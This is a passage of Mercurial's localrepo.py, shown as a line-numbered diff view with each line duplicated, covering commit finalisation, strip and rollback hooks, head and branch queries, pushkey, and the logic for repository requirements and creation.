3141 b'reusing manifest from p1 (listed files '
3142 b'actually unchanged)\n'
3142 b'actually unchanged)\n'
3143 )
3143 )
3144 mn = p1.manifestnode()
3144 mn = p1.manifestnode()
3145 else:
3145 else:
3146 self.ui.debug(b'reusing manifest from p1 (no file change)\n')
3146 self.ui.debug(b'reusing manifest from p1 (no file change)\n')
3147 mn = p1.manifestnode()
3147 mn = p1.manifestnode()
3148 files = []
3148 files = []
3149
3149
3150 if writecopiesto == b'changeset-only':
3150 if writecopiesto == b'changeset-only':
3151 # If writing only to changeset extras, use None to indicate that
3151 # If writing only to changeset extras, use None to indicate that
3152 # no entry should be written. If writing to both, write an empty
3152 # no entry should be written. If writing to both, write an empty
3153 # entry to prevent the reader from falling back to reading
3153 # entry to prevent the reader from falling back to reading
3154 # filelogs.
3154 # filelogs.
3155 p1copies = p1copies or None
3155 p1copies = p1copies or None
3156 p2copies = p2copies or None
3156 p2copies = p2copies or None
3157 filesadded = filesadded or None
3157 filesadded = filesadded or None
3158 filesremoved = filesremoved or None
3158 filesremoved = filesremoved or None
3159
3159
3160 if origctx and origctx.manifestnode() == mn:
3160 if origctx and origctx.manifestnode() == mn:
3161 files = origctx.files()
3161 files = origctx.files()
3162
3162
3163 # update changelog
3163 # update changelog
3164 self.ui.note(_(b"committing changelog\n"))
3164 self.ui.note(_(b"committing changelog\n"))
3165 self.changelog.delayupdate(tr)
3165 self.changelog.delayupdate(tr)
3166 n = self.changelog.add(
3166 n = self.changelog.add(
3167 mn,
3167 mn,
3168 files,
3168 files,
3169 ctx.description(),
3169 ctx.description(),
3170 trp,
3170 trp,
3171 p1.node(),
3171 p1.node(),
3172 p2.node(),
3172 p2.node(),
3173 user,
3173 user,
3174 ctx.date(),
3174 ctx.date(),
3175 ctx.extra().copy(),
3175 ctx.extra().copy(),
3176 p1copies,
3176 p1copies,
3177 p2copies,
3177 p2copies,
3178 filesadded,
3178 filesadded,
3179 filesremoved,
3179 filesremoved,
3180 )
3180 )
3181 xp1, xp2 = p1.hex(), p2 and p2.hex() or b''
3181 xp1, xp2 = p1.hex(), p2 and p2.hex() or b''
3182 self.hook(
3182 self.hook(
3183 b'pretxncommit',
3183 b'pretxncommit',
3184 throw=True,
3184 throw=True,
3185 node=hex(n),
3185 node=hex(n),
3186 parent1=xp1,
3186 parent1=xp1,
3187 parent2=xp2,
3187 parent2=xp2,
3188 )
3188 )
3189 # set the new commit is proper phase
3189 # set the new commit is proper phase
3190 targetphase = subrepoutil.newcommitphase(self.ui, ctx)
3190 targetphase = subrepoutil.newcommitphase(self.ui, ctx)
3191 if targetphase:
3191 if targetphase:
3192 # retract boundary do not alter parent changeset.
3192 # retract boundary do not alter parent changeset.
3193 # if a parent have higher the resulting phase will
3193 # if a parent have higher the resulting phase will
3194 # be compliant anyway
3194 # be compliant anyway
3195 #
3195 #
3196 # if minimal phase was 0 we don't need to retract anything
3196 # if minimal phase was 0 we don't need to retract anything
3197 phases.registernew(self, tr, targetphase, [n])
3197 phases.registernew(self, tr, targetphase, [n])
3198 return n
3198 return n
3199
3199
3200 @unfilteredmethod
3200 @unfilteredmethod
3201 def destroying(self):
3201 def destroying(self):
3202 '''Inform the repository that nodes are about to be destroyed.
3202 '''Inform the repository that nodes are about to be destroyed.
3203 Intended for use by strip and rollback, so there's a common
3203 Intended for use by strip and rollback, so there's a common
3204 place for anything that has to be done before destroying history.
3204 place for anything that has to be done before destroying history.
3205
3205
3206 This is mostly useful for saving state that is in memory and waiting
3206 This is mostly useful for saving state that is in memory and waiting
3207 to be flushed when the current lock is released. Because a call to
3207 to be flushed when the current lock is released. Because a call to
3208 destroyed is imminent, the repo will be invalidated causing those
3208 destroyed is imminent, the repo will be invalidated causing those
3209 changes to stay in memory (waiting for the next unlock), or vanish
3209 changes to stay in memory (waiting for the next unlock), or vanish
3210 completely.
3210 completely.
3211 '''
3211 '''
3212 # When using the same lock to commit and strip, the phasecache is left
3212 # When using the same lock to commit and strip, the phasecache is left
3213 # dirty after committing. Then when we strip, the repo is invalidated,
3213 # dirty after committing. Then when we strip, the repo is invalidated,
3214 # causing those changes to disappear.
3214 # causing those changes to disappear.
3215 if '_phasecache' in vars(self):
3215 if '_phasecache' in vars(self):
3216 self._phasecache.write()
3216 self._phasecache.write()
3217
3217
3218 @unfilteredmethod
3218 @unfilteredmethod
3219 def destroyed(self):
3219 def destroyed(self):
3220 '''Inform the repository that nodes have been destroyed.
3220 '''Inform the repository that nodes have been destroyed.
3221 Intended for use by strip and rollback, so there's a common
3221 Intended for use by strip and rollback, so there's a common
3222 place for anything that has to be done after destroying history.
3222 place for anything that has to be done after destroying history.
3223 '''
3223 '''
3224 # When one tries to:
3224 # When one tries to:
3225 # 1) destroy nodes thus calling this method (e.g. strip)
3225 # 1) destroy nodes thus calling this method (e.g. strip)
3226 # 2) use phasecache somewhere (e.g. commit)
3226 # 2) use phasecache somewhere (e.g. commit)
3227 #
3227 #
3228 # then 2) will fail because the phasecache contains nodes that were
3228 # then 2) will fail because the phasecache contains nodes that were
3229 # removed. We can either remove phasecache from the filecache,
3229 # removed. We can either remove phasecache from the filecache,
3230 # causing it to reload next time it is accessed, or simply filter
3230 # causing it to reload next time it is accessed, or simply filter
3231 # the removed nodes now and write the updated cache.
3231 # the removed nodes now and write the updated cache.
3232 self._phasecache.filterunknown(self)
3232 self._phasecache.filterunknown(self)
3233 self._phasecache.write()
3233 self._phasecache.write()
3234
3234
3235 # refresh all repository caches
3235 # refresh all repository caches
3236 self.updatecaches()
3236 self.updatecaches()
3237
3237
3238 # Ensure the persistent tag cache is updated. Doing it now
3238 # Ensure the persistent tag cache is updated. Doing it now
3239 # means that the tag cache only has to worry about destroyed
3239 # means that the tag cache only has to worry about destroyed
3240 # heads immediately after a strip/rollback. That in turn
3240 # heads immediately after a strip/rollback. That in turn
3241 # guarantees that "cachetip == currenttip" (comparing both rev
3241 # guarantees that "cachetip == currenttip" (comparing both rev
3242 # and node) always means no nodes have been added or destroyed.
3242 # and node) always means no nodes have been added or destroyed.
3243
3243
3244 # XXX this is suboptimal when qrefresh'ing: we strip the current
3244 # XXX this is suboptimal when qrefresh'ing: we strip the current
3245 # head, refresh the tag cache, then immediately add a new head.
3245 # head, refresh the tag cache, then immediately add a new head.
3246 # But I think doing it this way is necessary for the "instant
3246 # But I think doing it this way is necessary for the "instant
3247 # tag cache retrieval" case to work.
3247 # tag cache retrieval" case to work.
3248 self.invalidate()
3248 self.invalidate()
3249
3249
3250 def status(
3250 def status(
3251 self,
3251 self,
3252 node1=b'.',
3252 node1=b'.',
3253 node2=None,
3253 node2=None,
3254 match=None,
3254 match=None,
3255 ignored=False,
3255 ignored=False,
3256 clean=False,
3256 clean=False,
3257 unknown=False,
3257 unknown=False,
3258 listsubrepos=False,
3258 listsubrepos=False,
3259 ):
3259 ):
3260 '''a convenience method that calls node1.status(node2)'''
3260 '''a convenience method that calls node1.status(node2)'''
3261 return self[node1].status(
3261 return self[node1].status(
3262 node2, match, ignored, clean, unknown, listsubrepos
3262 node2, match, ignored, clean, unknown, listsubrepos
3263 )
3263 )
3264
3264
3265 def addpostdsstatus(self, ps):
3265 def addpostdsstatus(self, ps):
3266 """Add a callback to run within the wlock, at the point at which status
3266 """Add a callback to run within the wlock, at the point at which status
3267 fixups happen.
3267 fixups happen.
3268
3268
3269 On status completion, callback(wctx, status) will be called with the
3269 On status completion, callback(wctx, status) will be called with the
3270 wlock held, unless the dirstate has changed from underneath or the wlock
3270 wlock held, unless the dirstate has changed from underneath or the wlock
3271 couldn't be grabbed.
3271 couldn't be grabbed.
3272
3272
3273 Callbacks should not capture and use a cached copy of the dirstate --
3273 Callbacks should not capture and use a cached copy of the dirstate --
3274 it might change in the meanwhile. Instead, they should access the
3274 it might change in the meanwhile. Instead, they should access the
3275 dirstate via wctx.repo().dirstate.
3275 dirstate via wctx.repo().dirstate.
3276
3276
3277 This list is emptied out after each status run -- extensions should
3277 This list is emptied out after each status run -- extensions should
3278 make sure it adds to this list each time dirstate.status is called.
3278 make sure it adds to this list each time dirstate.status is called.
3279 Extensions should also make sure they don't call this for statuses
3279 Extensions should also make sure they don't call this for statuses
3280 that don't involve the dirstate.
3280 that don't involve the dirstate.
3281 """
3281 """
3282
3282
3283 # The list is located here for uniqueness reasons -- it is actually
3283 # The list is located here for uniqueness reasons -- it is actually
3284 # managed by the workingctx, but that isn't unique per-repo.
3284 # managed by the workingctx, but that isn't unique per-repo.
3285 self._postdsstatus.append(ps)
3285 self._postdsstatus.append(ps)
3286
3286
3287 def postdsstatus(self):
3287 def postdsstatus(self):
3288 """Used by workingctx to get the list of post-dirstate-status hooks."""
3288 """Used by workingctx to get the list of post-dirstate-status hooks."""
3289 return self._postdsstatus
3289 return self._postdsstatus
3290
3290
3291 def clearpostdsstatus(self):
3291 def clearpostdsstatus(self):
3292 """Used by workingctx to clear post-dirstate-status hooks."""
3292 """Used by workingctx to clear post-dirstate-status hooks."""
3293 del self._postdsstatus[:]
3293 del self._postdsstatus[:]
3294
3294
3295 def heads(self, start=None):
3295 def heads(self, start=None):
3296 if start is None:
3296 if start is None:
3297 cl = self.changelog
3297 cl = self.changelog
3298 headrevs = reversed(cl.headrevs())
3298 headrevs = reversed(cl.headrevs())
3299 return [cl.node(rev) for rev in headrevs]
3299 return [cl.node(rev) for rev in headrevs]
3300
3300
3301 heads = self.changelog.heads(start)
3301 heads = self.changelog.heads(start)
3302 # sort the output in rev descending order
3302 # sort the output in rev descending order
3303 return sorted(heads, key=self.changelog.rev, reverse=True)
3303 return sorted(heads, key=self.changelog.rev, reverse=True)
3304
3304
3305 def branchheads(self, branch=None, start=None, closed=False):
3305 def branchheads(self, branch=None, start=None, closed=False):
3306 '''return a (possibly filtered) list of heads for the given branch
3306 '''return a (possibly filtered) list of heads for the given branch
3307
3307
3308 Heads are returned in topological order, from newest to oldest.
3308 Heads are returned in topological order, from newest to oldest.
3309 If branch is None, use the dirstate branch.
3309 If branch is None, use the dirstate branch.
3310 If start is not None, return only heads reachable from start.
3310 If start is not None, return only heads reachable from start.
3311 If closed is True, return heads that are marked as closed as well.
3311 If closed is True, return heads that are marked as closed as well.
3312 '''
3312 '''
3313 if branch is None:
3313 if branch is None:
3314 branch = self[None].branch()
3314 branch = self[None].branch()
3315 branches = self.branchmap()
3315 branches = self.branchmap()
3316 if not branches.hasbranch(branch):
3316 if not branches.hasbranch(branch):
3317 return []
3317 return []
3318 # the cache returns heads ordered lowest to highest
3318 # the cache returns heads ordered lowest to highest
3319 bheads = list(reversed(branches.branchheads(branch, closed=closed)))
3319 bheads = list(reversed(branches.branchheads(branch, closed=closed)))
3320 if start is not None:
3320 if start is not None:
3321 # filter out the heads that cannot be reached from startrev
3321 # filter out the heads that cannot be reached from startrev
3322 fbheads = set(self.changelog.nodesbetween([start], bheads)[2])
3322 fbheads = set(self.changelog.nodesbetween([start], bheads)[2])
3323 bheads = [h for h in bheads if h in fbheads]
3323 bheads = [h for h in bheads if h in fbheads]
3324 return bheads
3324 return bheads
3325
3325
3326 def branches(self, nodes):
3326 def branches(self, nodes):
3327 if not nodes:
3327 if not nodes:
3328 nodes = [self.changelog.tip()]
3328 nodes = [self.changelog.tip()]
3329 b = []
3329 b = []
3330 for n in nodes:
3330 for n in nodes:
3331 t = n
3331 t = n
3332 while True:
3332 while True:
3333 p = self.changelog.parents(n)
3333 p = self.changelog.parents(n)
3334 if p[1] != nullid or p[0] == nullid:
3334 if p[1] != nullid or p[0] == nullid:
3335 b.append((t, n, p[0], p[1]))
3335 b.append((t, n, p[0], p[1]))
3336 break
3336 break
3337 n = p[0]
3337 n = p[0]
3338 return b
3338 return b
3339
3339
3340 def between(self, pairs):
3340 def between(self, pairs):
3341 r = []
3341 r = []
3342
3342
3343 for top, bottom in pairs:
3343 for top, bottom in pairs:
3344 n, l, i = top, [], 0
3344 n, l, i = top, [], 0
3345 f = 1
3345 f = 1
3346
3346
3347 while n != bottom and n != nullid:
3347 while n != bottom and n != nullid:
3348 p = self.changelog.parents(n)[0]
3348 p = self.changelog.parents(n)[0]
3349 if i == f:
3349 if i == f:
3350 l.append(n)
3350 l.append(n)
3351 f = f * 2
3351 f = f * 2
3352 n = p
3352 n = p
3353 i += 1
3353 i += 1
3354
3354
3355 r.append(l)
3355 r.append(l)
3356
3356
3357 return r
3357 return r
3358
3358
3359 def checkpush(self, pushop):
3359 def checkpush(self, pushop):
3360 """Extensions can override this function if additional checks have
3360 """Extensions can override this function if additional checks have
3361 to be performed before pushing, or call it if they override push
3361 to be performed before pushing, or call it if they override push
3362 command.
3362 command.
3363 """
3363 """
3364
3364
3365 @unfilteredpropertycache
3365 @unfilteredpropertycache
3366 def prepushoutgoinghooks(self):
3366 def prepushoutgoinghooks(self):
3367 """Return util.hooks consists of a pushop with repo, remote, outgoing
3367 """Return util.hooks consists of a pushop with repo, remote, outgoing
3368 methods, which are called before pushing changesets.
3368 methods, which are called before pushing changesets.
3369 """
3369 """
3370 return util.hooks()
3370 return util.hooks()
3371
3371
3372 def pushkey(self, namespace, key, old, new):
3372 def pushkey(self, namespace, key, old, new):
3373 try:
3373 try:
3374 tr = self.currenttransaction()
3374 tr = self.currenttransaction()
3375 hookargs = {}
3375 hookargs = {}
3376 if tr is not None:
3376 if tr is not None:
3377 hookargs.update(tr.hookargs)
3377 hookargs.update(tr.hookargs)
3378 hookargs = pycompat.strkwargs(hookargs)
3378 hookargs = pycompat.strkwargs(hookargs)
3379 hookargs['namespace'] = namespace
3379 hookargs['namespace'] = namespace
3380 hookargs['key'] = key
3380 hookargs['key'] = key
3381 hookargs['old'] = old
3381 hookargs['old'] = old
3382 hookargs['new'] = new
3382 hookargs['new'] = new
3383 self.hook(b'prepushkey', throw=True, **hookargs)
3383 self.hook(b'prepushkey', throw=True, **hookargs)
3384 except error.HookAbort as exc:
3384 except error.HookAbort as exc:
3385 self.ui.write_err(_(b"pushkey-abort: %s\n") % exc)
3385 self.ui.write_err(_(b"pushkey-abort: %s\n") % exc)
3386 if exc.hint:
3386 if exc.hint:
3387 self.ui.write_err(_(b"(%s)\n") % exc.hint)
3387 self.ui.write_err(_(b"(%s)\n") % exc.hint)
3388 return False
3388 return False
3389 self.ui.debug(b'pushing key for "%s:%s"\n' % (namespace, key))
3389 self.ui.debug(b'pushing key for "%s:%s"\n' % (namespace, key))
3390 ret = pushkey.push(self, namespace, key, old, new)
3390 ret = pushkey.push(self, namespace, key, old, new)
3391
3391
3392 def runhook(unused_success):
3392 def runhook(unused_success):
3393 self.hook(
3393 self.hook(
3394 b'pushkey',
3394 b'pushkey',
3395 namespace=namespace,
3395 namespace=namespace,
3396 key=key,
3396 key=key,
3397 old=old,
3397 old=old,
3398 new=new,
3398 new=new,
3399 ret=ret,
3399 ret=ret,
3400 )
3400 )
3401
3401
3402 self._afterlock(runhook)
3402 self._afterlock(runhook)
3403 return ret
3403 return ret
3404
3404
3405 def listkeys(self, namespace):
3405 def listkeys(self, namespace):
3406 self.hook(b'prelistkeys', throw=True, namespace=namespace)
3406 self.hook(b'prelistkeys', throw=True, namespace=namespace)
3407 self.ui.debug(b'listing keys for "%s"\n' % namespace)
3407 self.ui.debug(b'listing keys for "%s"\n' % namespace)
3408 values = pushkey.list(self, namespace)
3408 values = pushkey.list(self, namespace)
3409 self.hook(b'listkeys', namespace=namespace, values=values)
3409 self.hook(b'listkeys', namespace=namespace, values=values)
3410 return values
3410 return values
3411
3411
3412 def debugwireargs(self, one, two, three=None, four=None, five=None):
3412 def debugwireargs(self, one, two, three=None, four=None, five=None):
3413 '''used to test argument passing over the wire'''
3413 '''used to test argument passing over the wire'''
3414 return b"%s %s %s %s %s" % (
3414 return b"%s %s %s %s %s" % (
3415 one,
3415 one,
3416 two,
3416 two,
3417 pycompat.bytestr(three),
3417 pycompat.bytestr(three),
3418 pycompat.bytestr(four),
3418 pycompat.bytestr(four),
3419 pycompat.bytestr(five),
3419 pycompat.bytestr(five),
3420 )
3420 )
3421
3421
3422 def savecommitmessage(self, text):
3422 def savecommitmessage(self, text):
3423 fp = self.vfs(b'last-message.txt', b'wb')
3423 fp = self.vfs(b'last-message.txt', b'wb')
3424 try:
3424 try:
3425 fp.write(text)
3425 fp.write(text)
3426 finally:
3426 finally:
3427 fp.close()
3427 fp.close()
3428 return self.pathto(fp.name[len(self.root) + 1 :])
3428 return self.pathto(fp.name[len(self.root) + 1 :])
3429
3429
3430
3430
3431 # used to avoid circular references so destructors work
3431 # used to avoid circular references so destructors work
3432 def aftertrans(files):
3432 def aftertrans(files):
3433 renamefiles = [tuple(t) for t in files]
3433 renamefiles = [tuple(t) for t in files]
3434
3434
3435 def a():
3435 def a():
3436 for vfs, src, dest in renamefiles:
3436 for vfs, src, dest in renamefiles:
3437 # if src and dest refer to a same file, vfs.rename is a no-op,
3437 # if src and dest refer to a same file, vfs.rename is a no-op,
3438 # leaving both src and dest on disk. delete dest to make sure
3438 # leaving both src and dest on disk. delete dest to make sure
3439 # the rename couldn't be such a no-op.
3439 # the rename couldn't be such a no-op.
3440 vfs.tryunlink(dest)
3440 vfs.tryunlink(dest)
3441 try:
3441 try:
3442 vfs.rename(src, dest)
3442 vfs.rename(src, dest)
3443 except OSError: # journal file does not yet exist
3443 except OSError: # journal file does not yet exist
3444 pass
3444 pass
3445
3445
3446 return a
3446 return a
3447
3447
3448
3448
3449 def undoname(fn):
3449 def undoname(fn):
3450 base, name = os.path.split(fn)
3450 base, name = os.path.split(fn)
3451 assert name.startswith(b'journal')
3451 assert name.startswith(b'journal')
3452 return os.path.join(base, name.replace(b'journal', b'undo', 1))
3452 return os.path.join(base, name.replace(b'journal', b'undo', 1))
3453
3453
3454
3454
3455 def instance(ui, path, create, intents=None, createopts=None):
3455 def instance(ui, path, create, intents=None, createopts=None):
3456 localpath = util.urllocalpath(path)
3456 localpath = util.urllocalpath(path)
3457 if create:
3457 if create:
3458 createrepository(ui, localpath, createopts=createopts)
3458 createrepository(ui, localpath, createopts=createopts)
3459
3459
3460 return makelocalrepository(ui, localpath, intents=intents)
3460 return makelocalrepository(ui, localpath, intents=intents)
3461
3461
3462
3462
3463 def islocal(path):
3463 def islocal(path):
3464 return True
3464 return True
3465
3465
3466
3466
3467 def defaultcreateopts(ui, createopts=None):
3467 def defaultcreateopts(ui, createopts=None):
3468 """Populate the default creation options for a repository.
3468 """Populate the default creation options for a repository.
3469
3469
3470 A dictionary of explicitly requested creation options can be passed
3470 A dictionary of explicitly requested creation options can be passed
3471 in. Missing keys will be populated.
3471 in. Missing keys will be populated.
3472 """
3472 """
3473 createopts = dict(createopts or {})
3473 createopts = dict(createopts or {})
3474
3474
3475 if b'backend' not in createopts:
3475 if b'backend' not in createopts:
3476 # experimental config: storage.new-repo-backend
3476 # experimental config: storage.new-repo-backend
3477 createopts[b'backend'] = ui.config(b'storage', b'new-repo-backend')
3477 createopts[b'backend'] = ui.config(b'storage', b'new-repo-backend')
3478
3478
3479 return createopts
3479 return createopts
3480
3480
3481
3481
3482 def newreporequirements(ui, createopts):
3482 def newreporequirements(ui, createopts):
3483 """Determine the set of requirements for a new local repository.
3483 """Determine the set of requirements for a new local repository.
3484
3484
3485 Extensions can wrap this function to specify custom requirements for
3485 Extensions can wrap this function to specify custom requirements for
3486 new repositories.
3486 new repositories.
3487 """
3487 """
3488 # If the repo is being created from a shared repository, we copy
3488 # If the repo is being created from a shared repository, we copy
3489 # its requirements.
3489 # its requirements.
3490 if b'sharedrepo' in createopts:
3490 if b'sharedrepo' in createopts:
3491 requirements = set(createopts[b'sharedrepo'].requirements)
3491 requirements = set(createopts[b'sharedrepo'].requirements)
3492 if createopts.get(b'sharedrelative'):
3492 if createopts.get(b'sharedrelative'):
3493 requirements.add(b'relshared')
3493 requirements.add(b'relshared')
3494 else:
3494 else:
3495 requirements.add(b'shared')
3495 requirements.add(b'shared')
3496
3496
3497 return requirements
3497 return requirements
3498
3498
3499 if b'backend' not in createopts:
3499 if b'backend' not in createopts:
3500 raise error.ProgrammingError(
3500 raise error.ProgrammingError(
3501 b'backend key not present in createopts; '
3501 b'backend key not present in createopts; '
3502 b'was defaultcreateopts() called?'
3502 b'was defaultcreateopts() called?'
3503 )
3503 )
3504
3504
3505 if createopts[b'backend'] != b'revlogv1':
3505 if createopts[b'backend'] != b'revlogv1':
3506 raise error.Abort(
3506 raise error.Abort(
3507 _(
3507 _(
3508 b'unable to determine repository requirements for '
3508 b'unable to determine repository requirements for '
3509 b'storage backend: %s'
3509 b'storage backend: %s'
3510 )
3510 )
3511 % createopts[b'backend']
3511 % createopts[b'backend']
3512 )
3512 )
3513
3513
3514 requirements = {b'revlogv1'}
3514 requirements = {b'revlogv1'}
3515 if ui.configbool(b'format', b'usestore'):
3515 if ui.configbool(b'format', b'usestore'):
3516 requirements.add(b'store')
3516 requirements.add(b'store')
3517 if ui.configbool(b'format', b'usefncache'):
3517 if ui.configbool(b'format', b'usefncache'):
3518 requirements.add(b'fncache')
3518 requirements.add(b'fncache')
3519 if ui.configbool(b'format', b'dotencode'):
3519 if ui.configbool(b'format', b'dotencode'):
3520 requirements.add(b'dotencode')
3520 requirements.add(b'dotencode')
3521
3521
3522 compengine = ui.config(b'format', b'revlog-compression')
3522 compengine = ui.config(b'format', b'revlog-compression')
3523 if compengine not in util.compengines:
3523 if compengine not in util.compengines:
3524 raise error.Abort(
3524 raise error.Abort(
3525 _(
3525 _(
3526 b'compression engine %s defined by '
3526 b'compression engine %s defined by '
3527 b'format.revlog-compression not available'
3527 b'format.revlog-compression not available'
3528 )
3528 )
3529 % compengine,
3529 % compengine,
3530 hint=_(
3530 hint=_(
3531 b'run "hg debuginstall" to list available '
3531 b'run "hg debuginstall" to list available '
3532 b'compression engines'
3532 b'compression engines'
3533 ),
3533 ),
3534 )
3534 )
3535
3535
3536 # zlib is the historical default and doesn't need an explicit requirement.
3536 # zlib is the historical default and doesn't need an explicit requirement.
3537 elif compengine == b'zstd':
3537 elif compengine == b'zstd':
3538 requirements.add(b'revlog-compression-zstd')
3538 requirements.add(b'revlog-compression-zstd')
3539 elif compengine != b'zlib':
3539 elif compengine != b'zlib':
3540 requirements.add(b'exp-compression-%s' % compengine)
3540 requirements.add(b'exp-compression-%s' % compengine)
3541
3541
3542 if scmutil.gdinitconfig(ui):
3542 if scmutil.gdinitconfig(ui):
3543 requirements.add(b'generaldelta')
3543 requirements.add(b'generaldelta')
3544 if ui.configbool(b'format', b'sparse-revlog'):
3544 if ui.configbool(b'format', b'sparse-revlog'):
3545 requirements.add(SPARSEREVLOG_REQUIREMENT)
3545 requirements.add(SPARSEREVLOG_REQUIREMENT)
3546
3546
3547 # experimental config: format.exp-use-side-data
3547 # experimental config: format.exp-use-side-data
3548 if ui.configbool(b'format', b'exp-use-side-data'):
3548 if ui.configbool(b'format', b'exp-use-side-data'):
3549 requirements.add(SIDEDATA_REQUIREMENT)
3549 requirements.add(SIDEDATA_REQUIREMENT)
3550 # experimental config: format.exp-use-copies-side-data-changeset
3550 # experimental config: format.exp-use-copies-side-data-changeset
3551 if ui.configbool(b'format', b'exp-use-copies-side-data-changeset'):
3551 if ui.configbool(b'format', b'exp-use-copies-side-data-changeset'):
3552 requirements.add(SIDEDATA_REQUIREMENT)
3552 requirements.add(SIDEDATA_REQUIREMENT)
3553 requirements.add(COPIESSDC_REQUIREMENT)
3553 requirements.add(COPIESSDC_REQUIREMENT)
3554 if ui.configbool(b'experimental', b'treemanifest'):
3554 if ui.configbool(b'experimental', b'treemanifest'):
3555 requirements.add(b'treemanifest')
3555 requirements.add(b'treemanifest')
3556
3556
3557 revlogv2 = ui.config(b'experimental', b'revlogv2')
3557 revlogv2 = ui.config(b'experimental', b'revlogv2')
3558 if revlogv2 == b'enable-unstable-format-and-corrupt-my-data':
3558 if revlogv2 == b'enable-unstable-format-and-corrupt-my-data':
3559 requirements.remove(b'revlogv1')
3559 requirements.remove(b'revlogv1')
3560 # generaldelta is implied by revlogv2.
3560 # generaldelta is implied by revlogv2.
3561 requirements.discard(b'generaldelta')
3561 requirements.discard(b'generaldelta')
3562 requirements.add(REVLOGV2_REQUIREMENT)
3562 requirements.add(REVLOGV2_REQUIREMENT)
3563 # experimental config: format.internal-phase
3563 # experimental config: format.internal-phase
3564 if ui.configbool(b'format', b'internal-phase'):
3564 if ui.configbool(b'format', b'internal-phase'):
3565 requirements.add(b'internal-phase')
3565 requirements.add(b'internal-phase')
3566
3566
3567 if createopts.get(b'narrowfiles'):
3567 if createopts.get(b'narrowfiles'):
3568 requirements.add(repository.NARROW_REQUIREMENT)
3568 requirements.add(repository.NARROW_REQUIREMENT)
3569
3569
3570 if createopts.get(b'lfs'):
3570 if createopts.get(b'lfs'):
3571 requirements.add(b'lfs')
3571 requirements.add(b'lfs')
3572
3572
3573 if ui.configbool(b'format', b'bookmarks-in-store'):
3573 if ui.configbool(b'format', b'bookmarks-in-store'):
3574 requirements.add(bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT)
3574 requirements.add(bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT)
3575
3575
3576 return requirements
3576 return requirements
3577
3577
3578
3578
3579 def filterknowncreateopts(ui, createopts):
3579 def filterknowncreateopts(ui, createopts):
3580 """Filters a dict of repo creation options against options that are known.
3580 """Filters a dict of repo creation options against options that are known.
3581
3581
3582 Receives a dict of repo creation options and returns a dict of those
3582 Receives a dict of repo creation options and returns a dict of those
3583 options that we don't know how to handle.
3583 options that we don't know how to handle.
3584
3584
3585 This function is called as part of repository creation. If the
3585 This function is called as part of repository creation. If the
3586 returned dict contains any items, repository creation will not
3586 returned dict contains any items, repository creation will not
3587 be allowed, as it means there was a request to create a repository
3587 be allowed, as it means there was a request to create a repository
3588 with options not recognized by loaded code.
3588 with options not recognized by loaded code.
3589
3589
3590 Extensions can wrap this function to filter out creation options
3590 Extensions can wrap this function to filter out creation options
3591 they know how to handle.
3591 they know how to handle.
3592 """
3592 """
3593 known = {
3593 known = {
3594 b'backend',
3594 b'backend',
3595 b'lfs',
3595 b'lfs',
3596 b'narrowfiles',
3596 b'narrowfiles',
3597 b'sharedrepo',
3597 b'sharedrepo',
3598 b'sharedrelative',
3598 b'sharedrelative',
3599 b'shareditems',
3599 b'shareditems',
3600 b'shallowfilestore',
3600 b'shallowfilestore',
3601 }
3601 }
3602
3602
3603 return {k: v for k, v in createopts.items() if k not in known}
3603 return {k: v for k, v in createopts.items() if k not in known}
3604
3604
3605
3605
3606 def createrepository(ui, path, createopts=None):
3606 def createrepository(ui, path, createopts=None):
3607 """Create a new repository in a vfs.
3607 """Create a new repository in a vfs.
3608
3608
3609 ``path`` path to the new repo's working directory.
3609 ``path`` path to the new repo's working directory.
3610 ``createopts`` options for the new repository.
3610 ``createopts`` options for the new repository.
3611
3611
3612 The following keys for ``createopts`` are recognized:
3612 The following keys for ``createopts`` are recognized:
3613
3613
3614 backend
3614 backend
3615 The storage backend to use.
3615 The storage backend to use.
3616 lfs
3616 lfs
3617 Repository will be created with ``lfs`` requirement. The lfs extension
3617 Repository will be created with ``lfs`` requirement. The lfs extension
3618 will automatically be loaded when the repository is accessed.
3618 will automatically be loaded when the repository is accessed.
3619 narrowfiles
3619 narrowfiles
3620 Set up repository to support narrow file storage.
3620 Set up repository to support narrow file storage.
3621 sharedrepo
3621 sharedrepo
3622 Repository object from which storage should be shared.
3622 Repository object from which storage should be shared.
3623 sharedrelative
3623 sharedrelative
3624 Boolean indicating if the path to the shared repo should be
3624 Boolean indicating if the path to the shared repo should be
3625 stored as relative. By default, the pointer to the "parent" repo
3625 stored as relative. By default, the pointer to the "parent" repo
3626 is stored as an absolute path.
3626 is stored as an absolute path.
3627 shareditems
3627 shareditems
3628 Set of items to share to the new repository (in addition to storage).
3628 Set of items to share to the new repository (in addition to storage).
3629 shallowfilestore
3629 shallowfilestore
3630 Indicates that storage for files should be shallow (not all ancestor
3630 Indicates that storage for files should be shallow (not all ancestor
3631 revisions are known).
3631 revisions are known).
3632 """
3632 """
3633 createopts = defaultcreateopts(ui, createopts=createopts)
3633 createopts = defaultcreateopts(ui, createopts=createopts)
3634
3634
3635 unknownopts = filterknowncreateopts(ui, createopts)
3635 unknownopts = filterknowncreateopts(ui, createopts)
3636
3636
3637 if not isinstance(unknownopts, dict):
3637 if not isinstance(unknownopts, dict):
3638 raise error.ProgrammingError(
3638 raise error.ProgrammingError(
3639 b'filterknowncreateopts() did not return a dict'
3639 b'filterknowncreateopts() did not return a dict'
3640 )
3640 )
3641
3641
3642 if unknownopts:
3642 if unknownopts:
3643 raise error.Abort(
3643 raise error.Abort(
3644 _(
3644 _(
3645 b'unable to create repository because of unknown '
3645 b'unable to create repository because of unknown '
3646 b'creation option: %s'
3646 b'creation option: %s'
3647 )
3647 )
3648 % b', '.join(sorted(unknownopts)),
3648 % b', '.join(sorted(unknownopts)),
3649 hint=_(b'is a required extension not loaded?'),
3649 hint=_(b'is a required extension not loaded?'),
3650 )
3650 )
3651
3651
3652 requirements = newreporequirements(ui, createopts=createopts)
3652 requirements = newreporequirements(ui, createopts=createopts)
3653
3653
3654 wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True)
3654 wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True)
3655
3655
3656 hgvfs = vfsmod.vfs(wdirvfs.join(b'.hg'))
3656 hgvfs = vfsmod.vfs(wdirvfs.join(b'.hg'))
3657 if hgvfs.exists():
3657 if hgvfs.exists():
3658 raise error.RepoError(_(b'repository %s already exists') % path)
3658 raise error.RepoError(_(b'repository %s already exists') % path)
3659
3659
3660 if b'sharedrepo' in createopts:
3660 if b'sharedrepo' in createopts:
3661 sharedpath = createopts[b'sharedrepo'].sharedpath
3661 sharedpath = createopts[b'sharedrepo'].sharedpath
